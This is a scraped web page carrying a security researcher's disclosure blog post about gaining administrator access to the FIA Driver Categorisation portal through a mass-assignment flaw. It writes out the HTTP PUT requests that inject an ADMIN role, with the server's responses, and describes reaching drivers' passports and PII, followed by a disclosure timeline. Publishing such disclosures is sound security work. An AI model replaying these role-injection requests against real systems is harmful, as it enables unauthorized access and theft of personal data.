.token.token.deleted:not(.prefix) *::-moz-selection {\n    background-color: hsla(353, 95%, 66%, 0.25);\n  }\n  \n  html.theme-light pre.diff-highlight \u003
872e code .token.token.deleted:not(.prefix)::selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.deleted:not(.prefix) *::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix)::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.deleted:not(.prefix) *::selection {\n    background-color: hsla(353, 95%, 66%, 0.25);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix),\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) {\n    background-color: hsla(137, 100%, 55%, 0.15);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::-moz-selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::-moz-selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::-moz-selection {\n    background-color: hsla(135, 73%, 55%, 0.25);\n  }\n  \n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix)::selection,\n  html.theme-light pre.diff-highlight \u003e code .token.token.inserted:not(.prefix) *::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix)::selection,\n  html.theme-light pre \u003e code.diff-highlight .token.token.inserted:not(.prefix) *::selection {\n    background-color: hsla(135, 73%, 55%, 0.25);\n  }\n  \n  /* Previewers plugin overrides */\n  /* Based on https://github.com/atom-community/atom-ide-datatip/blob/master/styles/atom-ide-datatips.less and https://github.com/atom/atom/blob/master/packages/one-light-ui */\n  /* Border around popup */\n  html.theme-light .prism-previewer.prism-previewer:before,\n  html.theme-light .prism-previewer-gradient.prism-previewer-gradient div {\n    border-color: hsl(0, 0, 95%);\n  }\n  \n  /* Angle and time should remain as circles and are hence not included */\n  html.theme-light .prism-previewer-color.prism-previewer-color:before,\n  html.theme-light .prism-previewer-gradient.prism-previewer-gradient div,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing:before {\n    border-radius: 0.3em;\n  }\n  \n  /* Triangles pointing to the code */\n  html.theme-light .prism-previewer.prism-previewer:after {\n    border-top-color: hsl(0, 0, 95%);\n  }\n  \n  html.theme-light .prism-previewer-flipped.prism-previewer-flipped.after {\n    border-bottom-color: hsl(0, 0, 95%);\n  }\n  \n  /* Background colour within the popup */\n  html.theme-light .prism-previewer-angle.prism-previewer-angle:before,\n  html.theme-light .prism-previewer-time.prism-previewer-time:before,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing {\n    background: hsl(0, 0%, 100%);\n  }\n  \n  /* For angle, this is the positive area (eg. 90deg will display one quadrant in this colour) */\n  /* For time, this is the alternate colour */\n  html.theme-light .prism-previewer-angle.prism-previewer-angle circle,\n  html.theme-light .prism-previewer-time.prism-previewer-time circle {\n    stroke: hsl(230, 8%, 24%);\n    stroke-opacity: 1;\n  }\n  \n  /* Stroke colours of the handle, direction point, and vector itself */\n  html.theme-light .prism-previewer-easing.prism-previewer-easing circle,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing path,\n  html.theme-light .prism-previewer-easing.prism-previewer-easing line {\n    stroke: hsl(230, 8%, 24%);\n  }\n  \n  /* Fill colour of the handle */\n  html.theme-light .prism-previewer-easing.prism-previewer-easing circle {\n    fill: transparent;\n  }\n  \n  18:[\"$\",\"body\",null,{\"children\":[[\"$\",\"$L19\",null,{\"settings\":{\"siteId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e\",\"userId\":\"cb4e83cb-fe5e-4a17-9055-d11287041f68\",\"domainName\":\"ian.sh\",\"name\":\"Ian Carroll\",\"active\":true,\"free\":false,\"tier\":\"pro\",\"favicon\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\",\"fontFamily\":\"Inter\",\"legacyTheme\":\"default\",\"language\":\"en\",\"languages\":[],\"notionPage\":\"eb5f7782eeca437f927323f450f8f3dc\",\"indexPageId\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::341116e4-b5b8-4753-89cb-a0ddbee82773\",\"pageProperties\":false,\"hidePageProperties\":true,\"disablePageProperties\":false,\"pageSyncing\":true,\"viewSwitcher\":true,\"layoutSidePanel\":true,\"floatingTableOfContents\":false,\"siteSearch\":false,\"advancedSearch\":true,\"themeToggle\":false,\"mondayFirst\":false,\"loadLimits\":false,\"hidePersonInfo\":false,\"showPropertyIcons\":false,\"filterRedirectsFromSearch\":false,\"redirectSubdomain\":null,\"noIndex\":false,\"viewsExceeded\":false,\"manualSync\":false,\"syncStatus\":\"unsynced\",\"publishedAt\":\"2026-07-01T11:29:18.496Z\",\"custom404Enabled\":false,\"membershipEnabled\":false,\"membershipConfigured\":false,\"suppressLoginEmail\":false,\"indexMembershipTierIds\":null,\"navbar\":null,\"footer\":null,\"sidebar\":null,\"theme\":null,\"code\":{\"global\":[{\"id\":\"c4f580f7-fa69-456f-93cd-7cca5eda614e:::92f65f7e-0419-435b-909c-c0244220e690\",\"content\":\"\u003cscript defer data-domain=\\\"ian.sh\\\" src=\\\"https://plausible.io/js/script.
872js\\\"\u003e\u003c/script\u003e\\n\"}],\"head\":[],\"body\":[],\"style\":[],\"css\":\"\"},\"files\":[]},\"config\":{\"assetEndpoint\":\"https://assets.super.so\",\"isPreview\":false},\"domainQueryParam\":\"$undefined\",\"children\":[null,[\"$\",\"$L1a\",null,{\"settings\":\"$18:props:children:0:props:settings\",\"isPreview\":false,\"global\":\"$1b\",\"light\":\"$1c\",\"dark\":\"$1d\",\"legacy\":\"$1e\",\"children\":[\"$L1f\",null]}],\"$L20\",\"$L21\",\"$L22\"]}],\"$L23\"]}]\n"])</script>
872<script>self.__next_f.push([1,"24:I[325618,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"PasswordPageLayoutProvider\"]\n25:I[183555,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"NavigationContent\"]\n26:I[713503,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/2ggeb0g51xxjo.js\"],\"default\"]\n28:I[678415,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"NavigationEvents\"]\n29:I[982642,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"LinkUpgrader\"]\n2a:I[245155,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"LightboxEnhancer\"]\n2b:I[818466,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"SpeedInsights\"]\n1f:[\"$\",\"div\",null,{\"className\":\"super-root\",\"children\":[null,[\"$\",\"$L24\",null,{\"children\":[\"$\",\"$L25\",null,{\"settings\":\"$18:props:children:0:props:settings\",\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$26\",\"errorStyles\":[],\"errorScripts\":[[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/2ggeb0g51xxjo.js\",\"async\":true}]],\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[\"$L27\",[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}]\n20:[\"$\",\"$L28\",null,{}]\n21:[\"$\",\"$L29\",null,{}]\n22:[\"$\",\"$L2a\",null,{}]\n23:[\"$\",\"$L2b\",null,{\"sampleRate\":0.3}]\n"])</script>
872<script>self.__next_f.push([1,"2c:I[208077,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"ErrorPage\"]\n27:[\"$\",\"$L2c\",null,{\"type\":\"notfound\"}]\n"])</script>
872<script>self.__next_f.push([1,"2d:I[23131,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\",\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"/_next/static/chunks/08sikk1eypppo.js\",\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"/_next/static/chunks/41l0cu_krzrbf.js\"],\"PageProvider\"]\n5:[\"$\",\"$L2d\",null,{\"pageReplacement\":\"$undefined\",\"getWebVital\":false,\"pageId\":\"fia\",\"records\":{\"__version__\":3,\"block\":{\"fia\":{\"id\":\"fia\",\"children\":[\"2843b9a56b2b80979101f9b033ee868e\",\"2843b9a56b2b8097bc26ca6042b21f8e\",\"2843b9a56b2b805eabf5f59ca0a8f535\",\"2843b9a56b2b80e9946ad5373696cf37\",\"2843b9a56b2b80d68646e104a77c5b59\",\"2853b9a56b2b80e980c8f60607a86708\",\"2853b9a56b2b80cebbb9da00c1df0b23\",\"2843b9a56b2b805ab50cdacf67253c2b\",\"2843b9a56b2b80ad80a9fcc06676ce2a\",\"2843b9a56b2b800d9d02c26034778a4e\",\"2843b9a56b2b80f3a8fed3a5f1de5edc\",\"2843b9a56b2b8092b49bf4490c4e025c\",\"2843b9a56b2b806fa8b9c037bc6d871e\",\"2843b9a56b2b80fbbb97f879ca7e4cda\",\"2843b9a56b2b8076b206eecaa9e88245\",\"2843b9a56b2b80659cddc18d808ccd83\",\"2843b9a56b2b80d8afa4f739a308aefe\",\"2843b9a56b2b8021ba9edadcbe414786\",\"2843b9a56b2b80128aa5e4634df8e8e3\",\"2843b9a56b2b809b971ed611ad91ac3b\",\"2843b9a56b2b800db3faf7a7226c16df\",\"2843b9a56b2b806f85f4e5d36110d92c\",\"2843b9a56b2b80c6a2fcd96f2fe12615\",\"2933b9a56b2b8099a8fdfc81e630be86\",\"2843b9a56b2b800bafbfde7ba90e9f96\",\"2843b9a56b2b80d0acdbc56f4201c6be\",\"2843b9a56b2b808099f5ca0414a077d7\",\"2843b9a56b2b8079bafbf0c0ef6a69cf\",\"2843b9a56b2b80e197a6ecee1b918f07\",\"2933b9a56b2b807c80efe36700d9d249\",\"2953b9a56b2b80858241cb0c13079977\",\"2953b9a56b2b80479191c2f5e55585fd\",\"2953b9a56b2b80889324c0154dcb5ce7\"],\"hasContent\":true,\"parentId\":\"0f34388b710345ddb010281f11fd0528\",\"title\":[[\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"]],\"updatedAt\":1761257342350,\"type\":\"page\",\"spaceId\":\"5cd0a822-39d2-4a8a-977e-cf7f08be1560\",\"coverPosition\":0.5,\"createdTime\":1759761804322,\"lastEditedTime\":1761257342350,\"createdBy\":[{\"0\":\"‣\",\"1\":[{\"0\":\"u\"}]}],\"lastEditedBy\":[{\"0\":\"‣\",\"1\":[{\"0\":\"u\"}]}],\"uri\":\"/fia\",\"fullWidth\":false,\"smallText\":false,\"cover\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\",\"noCover\":false,\"superProperties\":{},\"propertyValues\":{},\"blockId\":\"2843b9a5-6b2b-8086-b7b7-ead74c325770\"},\"2843b9a56b2b80979101f9b033ee868e\":{\"id\":\"2843b9a56b2b80979101f9b033ee868e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Introduction\"]],\"updatedAt\":1759762589624,\"type\":\"heading\",\"subType\":\"sub_header\",\"depth\":2},\"2843b9a56b2b8097bc26ca6042b21f8e\":{\"id\":\"2843b9a56b2b8097bc26ca6042b21f8e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.\"]],\"updatedAt\":1759813261389,\"type\":\"text\"},\"2843b9a56b2b805eabf5f59ca0a8f535\":{\"id\":\"2843b9a56b2b805eabf5f59ca0a8f535\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, \"],[\"Gal Nagli\",[[\"a\",\"https://x.com/galnagli\"]]],[\", \"],[\"Sam Curry\",[[\"a\",\"https://x.com/samwcyo\"]]],[\", and \"],[\"I\",[[\"a\",\"https://x.com/iangcarroll\"]]],[\" thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.\"]],\"updatedAt\":1761078856933,\"type\":\"text\"},\"2843b9a56b2b80e9946ad5373696cf37\":{\"id\":\"2843b9a56b2b80e9946ad5373696cf37\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.\",[[\"i\",null]]]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b80d68646e104a77c5b59\":{\"id\":\"2843b9a56b2b80d68646e104a77c5b59\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Finding F1 Driver Licenses\"]],\"updatedAt\":1759813631654,\"type\":\"heading\",\"subType\":\"sub_header\",\"depth\":2},\"2853b9a56b2b80e980c8f60607a86708\":{\"id\":\"2853b9a56b2b80e980c8f60607a86708\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"To race in Formula 1, drivers hold an \"],[\"FIA Super Licence\",[[\"b\",null]]],[\". It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.\"]],\"updatedAt\":1759814756647,\"type\":\"text\"},\"2853b9a56b2b80cebbb9da00c1df0b23\":{\"id\":\"2853b9a56b2b80cebbb9da00c1df0b23\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"F1 drivers often compete outside Grands Prix as well, where the FIA uses a \"],[\"Driver Categorisation\",[[\"b\",null]]],[\" (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at \"],[\"drivercategorisation.fia.com\",[[\"b\",null]]],[\", which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.\"]],\"updatedAt\":1759814771874,\"type\":\"text\"},\"2843b9a56b2b805ab50cdacf67253c2b\":{\"id\":\"2843b9a56b2b805ab50cdacf67253c2b\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/cb7469fe-affb-40ba-8c75-41b509d48be9/image5/public\",\"altText\":\"The public login page for the Driver Categorisation portal..\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\"
872:-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b80ad80a9fcc06676ce2a\":{\"id\":\"2843b9a56b2b80ad80a9fcc06676ce2a\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:\"]],\"updatedAt\":1759814028386,\"type\":\"text\"},\"2843b9a56b2b800d9d02c26034778a4e\":{\"id\":\"2843b9a56b2b800d9d02c26034778a4e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"PUT /api/users/12934 HTTP/1.1\\nHost: driverscategorisation.fia.com\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\\nContent-Length: 246\\nContent-Type: application/json\\n\\n{\\n  \\\"id\\\": 12934,\\n  \\\"email\\\": \\\"[email protected]\\\",\\n  \\\"firstName\\\": \\\"Sam\\\",\\n  \\\"lastName\\\": \\\"Curry\\\",\\n  \\\"nickName\\\": null\\n}\"]],\"updatedAt\":1759813744732,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b80f3a8fed3a5f1de5edc\":{\"id\":\"2843b9a56b2b80f3a8fed3a5f1de5edc\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b8092b49bf4490c4e025c\":{\"id\":\"2843b9a56b2b8092b49bf4490c4e025c\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"HTTP/1.1 200\\nContent-type: application/json\\nContent-Length: 313\\n\\n{\\n  \\\"id\\\": 12934,\\n  \\\"email\\\": \\\"[email protected]\\\",\\n  \\\"firstName\\\": \\\"Sam\\\",\\n  \\\"lastName\\\": \\\"Curry\\\",\\n  \\\"nickName\\\": null,\\n  \\\"keepNamePrivate\\\": false,\\n  \\\"nickName2\\\": null,\\n  \\\"birthDate\\\": \\\"2000-02-17\\\",\\n  \\\"gender\\\": null,\\n  \\\"token\\\": null,\\n  \\\"roles\\\": null,\\n  \\\"country\\\": null,\\n  \\\"filters\\\": [],\\n  \\\"status\\\": \\\"ACTIVATED\\\",\\n  \\\"secondaryEmail\\\": null\\n}\"]],\"updatedAt\":1761154796473,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b806fa8b9c037bc6d871e\":{\"id\":\"2843b9a56b2b806fa8b9c037bc6d871e\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"The JSON HTTP response for updating our own profile contained the \\\"roles\\\" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b80fbbb97f879ca7e4cda\":{\"id\":\"2843b9a56b2b80fbbb97f879ca7e4cda\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/d1b5e06f-d642-4909-aea9-6910ca134d83/code/public\",\"altText\":\"JavaScript from the FIA Driver Categorisation portal.\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\":-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b8076b206eecaa9e88245\":{\"id\":\"2843b9a56b2b8076b206eecaa9e88245\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:\"]],\"updatedAt\":1761154973078,\"type\":\"text\"},\"2843b9a56b2b80659cddc18d808ccd83\":{\"id\":\"2843b9a56b2b80659cddc18d808ccd83\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"PUT /api/users/12934 HTTP/1.1\\nHost: driverscategorisation.fia.com\\nUser
872-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36\\nContent-Length: 246\\nContent-Type: application/json\\n\\n{\\n  \\\"id\\\": 12934,\\n  \\\"email\\\": \\\"[email protected]\\\",\\n  \\\"firstName\\\": \\\"Sam\\\",\\n  \\\"lastName\\\": \\\"Curry\\\",\\n  \\\"nickName\\\": null,\\n  \\\"roles\\\": [\\n    {\\n      \\\"id\\\": 1,\\n      \\\"description\\\": \\\"ADMIN role\\\",\\n      \\\"name\\\": \\\"ADMIN\\\"\\n    }\\n  ]\\n}\"]],\"updatedAt\":1759813762008,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b80d8afa4f739a308aefe\":{\"id\":\"2843b9a56b2b80d8afa4f739a308aefe\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b8021ba9edadcbe414786\":{\"id\":\"2843b9a56b2b8021ba9edadcbe414786\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"HTTP/1.1 200\\nContent-type: application/json\\nContent-Length: 313\\n\\n{\\n  \\\"id\\\": 12934,\\n  \\\"email\\\": \\\"[email protected]\\\",\\n  \\\"firstName\\\": \\\"Sam\\\",\\n  \\\"lastName\\\": \\\"Curry\\\",\\n  \\\"nickName\\\": null,\\n  \\\"keepNamePrivate\\\": false,\\n  \\\"nickName2\\\": null,\\n  \\\"birthDate\\\": \\\"1999-10-17\\\",\\n  \\\"gender\\\": null,\\n  \\\"token\\\": null,\\n  \\\"roles\\\": [\\n    {\\n      \\\"id\\\": 1,\\n      \\\"description\\\": \\\"ADMIN role\\\",\\n      \\\"name\\\": \\\"ADMIN\\\"\\n    }\\n  ],\\n  \\\"country\\\": null,\\n  \\\"filters\\\": [],\\n  \\\"status\\\": \\\"ACTIVATED\\\",\\n  \\\"secondaryEmail\\\": null\\n}\\n\"]],\"updatedAt\":1759813765251,\"type\":\"code\",\"language\":\"JSON\",\"wrap\":true,\"link\":null},\"2843b9a56b2b80128aa5e4634df8e8e3\":{\"id\":\"2843b9a56b2b80128aa5e4634df8e8e3\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.\"]],\"updatedAt\":1761078389618,\"type\":\"text\"},\"2843b9a56b2b809b971ed611ad91ac3b\":{\"id\":\"2843b9a56b2b809b971ed611ad91ac3b\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public\",\"altText\":\"Accessing the driver categorisation portal as an administrator.\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\":-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b800db3faf7a7226c16df\":{\"id\":\"2843b9a56b2b800db3faf7a7226c16df\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.\"]],\"updatedAt\":1759762589624,\"type\":\"text\"},\"2843b9a56b2b806f85f4e5d36110d92c\":{\"id\":\"2843b9a56b2b806f85f4e5d36110d92c\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1759762589624,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public\",\"altText\":\"Internal FIA comments about the categorisation of a professional F1 driver.\",\"isCaptionLink\":false,\"link\":null,\"width\":-1,\"height\":-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":-1,\"preserveScale\":true},\"2843b9a56b2b80c6a2fcd96f2fe12615\":{\"id\":\"2843b9a56b2b80c6a2fcd96f2fe12615\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. \"],[\"We did not access any passports / sensitive information and all data has been deleted.\",[[\"b\",null]]]],\"updatedAt\":1761078478838,\"type\":\"text\"},\"2933b9a56b2b8099a8fdfc81e630be86\":{\"id\":\"2933b9a56b2b8099a8fdfc81e630be86\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":null,\"updatedAt\":1761078518641,\"type\":\"image\",\"source\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public\",\"altText\":null,\"isCaptionLink\":false,\"link\":null,\"width\":709.8828125,\"height\"
872:-1,\"fullWidth\":false,\"pageWidth\":true,\"aspectRatio\":0.20730938878386893,\"preserveScale\":true},\"2843b9a56b2b800bafbfde7ba90e9f96\":{\"id\":\"2843b9a56b2b800bafbfde7ba90e9f96\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Disclosure timeline\"]],\"updatedAt\":1759762589624,\"type\":\"heading\",\"subType\":\"sub_sub_header\",\"depth\":3},\"2843b9a56b2b80d0acdbc56f4201c6be\":{\"id\":\"2843b9a56b2b80d0acdbc56f4201c6be\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"06/03/2025: Initial disclosure to FIA via email and Linkedin\"]],\"updatedAt\":1761078422734,\"type\":\"bulleted_list\"},\"2843b9a56b2b808099f5ca0414a077d7\":{\"id\":\"2843b9a56b2b808099f5ca0414a077d7\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"06/03/2025: Initial response from FIA, site taken offline\"]],\"updatedAt\":1759814426692,\"type\":\"bulleted_list\"},\"2843b9a56b2b8079bafbf0c0ef6a69cf\":{\"id\":\"2843b9a56b2b8079bafbf0c0ef6a69cf\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"06/10/2025: Official response from FIA informing us of a comprehensive fix\"]],\"updatedAt\":1759814428082,\"type\":\"bulleted_list\"},\"2843b9a56b2b80e197a6ecee1b918f07\":{\"id\":\"2843b9a56b2b80e197a6ecee1b918f07\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"10/22/2025: Release of blog post, public disclosure\"]],\"updatedAt\":1761078436364,\"type\":\"bulleted_list\"},\"2933b9a56b2b807c80efe36700d9d249\":{\"id\":\"2933b9a56b2b807c80efe36700d9d249\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Collaborators\"]],\"updatedAt\":1761257342350,\"type\":\"heading\",\"subType\":\"sub_header\",\"depth\":2},\"2953b9a56b2b80858241cb0c13079977\":{\"id\":\"2953b9a56b2b80858241cb0c13079977\",\"children\":[],\"hasContent\":false,\"parentId\":\"fia\",\"title\":[[\"Ian Carroll 